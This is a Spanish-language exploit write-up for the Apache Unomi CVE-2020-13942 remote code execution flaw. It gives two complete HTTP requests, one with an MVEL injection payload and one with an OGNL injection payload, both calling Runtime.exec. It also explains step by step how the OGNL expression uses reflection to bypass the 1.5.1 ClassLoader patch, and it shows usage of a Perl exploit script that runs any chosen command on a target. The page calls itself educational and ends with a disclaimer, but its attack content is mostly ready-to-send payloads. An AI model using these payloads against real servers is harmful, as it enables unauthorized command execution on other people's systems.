
Apache Unomi CVE-2020-13942: Vulnerabilidades RCE
Publicación original del blog sobre la vulnerabilidad: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
Hay dos vectores de RCE: mediante inyección MVEL y mediante inyección OGNL. Ambos vectores apuntan a código diferente, aunque los payloads son relativamente similares. El parche anterior del CVE https://nvd.nist.gov/vuln/detail/CVE-2020-11975 intentaba limitar la ejecución de expresiones OGNL, pero no tuvo en cuenta MVEL en absoluto. El CVE-2020-13942 evita el parche realizado en la versión 1.5.1.
Envía las siguientes peticiones HTTP usando BurpSuite o curl a context.js\json expuesto por el servidor Unomi y consigue RCE. Cambia el Host y el Content-Length según tu URL de destino y el comando del sistema operativo.
Ambos PoCs pueden recibir HTTP/1.1 400 Header Folding como respuesta, lo que significa que los \r\n están dañados en el payload; prueba a copiar y pegar de nuevo.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
El PoC de OGNL evita la restricción de ClassLoader introducida en la versión 1.5.1. Usando la API de reflexión de Java es posible crear un objeto sin activar el método ClassLoader.loadClass que restringe las expresiones OGNL evaluadas.
Desglose de la expresión OGNL del payload:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") crea un objeto Class de java.lang.Runtime, donde #this es la referencia al objeto de contexto.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] obtiene la lista de métodos de la clase Runtime mediante reflexión y elige el método getRuntime de la lista. La parte {^ #this.name.equals(\"getRuntime\")} de la expresión busca un Method con el nombre getRuntime y devuelve una lista de los Methods que coinciden con la condición; el primero y único Method de esta lista es getRuntime.#runtimeobject = #runtimemethod.invoke(null,null) llama al método getRuntime() y obtiene el objeto Runtime.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) obtiene los métodos de la clase Runtime y recupera Runtime.exec() con un único argumento String de la lista de métodos.#execmethod.invoke(#runtimeobject,\"gnome-calculator\") llama a Runtime.exec() con el argumento especificado.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
Uso básico:
./apache_unomi.pl [options]
options:
./apache_unomi.pl [target:port] [command] [(method 1) - mevel| (method 2) - ognl]
[+]usage:
./apache_unomi.pl http://127.0.0.1:8181 whoami 1
Toda la información proporcionada en esta página tiene únicamente fines educativos. La información de este sitio web solo debe utilizarse para mejorar la seguridad de tus sistemas informáticos y no para realizar ataques maliciosos o dañinos.
No debes hacer un mal uso de esta información para obtener acceso no autorizado a sistemas informáticos. Ten en cuenta también que realizar intentos de hackeo en equipos que no te pertenecen, sin el permiso por escrito de sus propietarios, es ilegal.
No seré responsable de ningún daño directo o indirecto causado por el uso de la información proporcionada en este sitio web.